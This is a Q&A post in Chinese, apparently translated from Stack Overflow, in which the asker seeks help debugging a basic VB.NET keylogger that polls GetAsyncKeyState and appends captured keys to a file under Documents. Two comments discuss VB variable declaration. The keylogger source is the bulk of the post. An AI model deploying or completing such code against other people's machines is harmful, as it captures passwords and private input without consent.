【发布时间】:2018-06-04 20:06:06
【问题描述】:
我正在尝试创建一个基本的键盘记录程序。我对网络安全感兴趣,想了解更多。我已经从各种来源将下面的代码散列在一起。 行 text = converter.ToString(i) 生成索引越界错误。 我在想这是因为对象转换器没有被实例化,因为它应该?但是如何解决呢?
Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading
Module Module1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
filepath &= "\LogsFolder\"
If (Not Directory.Exists(filepath)) Then
Directory.CreateDirectory(filepath)
End If
Dim Path = (filepath & "LoggedKeys.text")
If Not File.Exists(Path) Then
Using sw As StreamWriter = File.CreateText(Path)
End Using
End If
Dim Converter = New KeysConverter()
Dim text As String = ""
While (True)
Thread.Sleep(5)
For i As Integer = 0 To 1999
Dim key = GetAsyncKeyState(i)
If key = 1 Or key = -32767 Then
text = converter.ToString(i)
Using sw As StreamWriter = File.AppendText(Path)
sw.WriteLine(text)
End Using
Exit For
End If
Next
End While
End Sub
End Module
【问题讨论】:
-
很确定它应该是
Dim converter as New KeysConverter()。我认为当您使用= New语法时,没有为变量定义类型,因此它变成了 Object 类型。 -
@RBarryYoung 不,它们实际上使用相同的 AFAIK。
Dim foo = New Bar()类似于 C# 中的var foo = new Bar();,而Dim foo As New Bar()是Dim foo As Bar = New Bar()的简写,相当于 C# 中的Bar foo = new Bar();。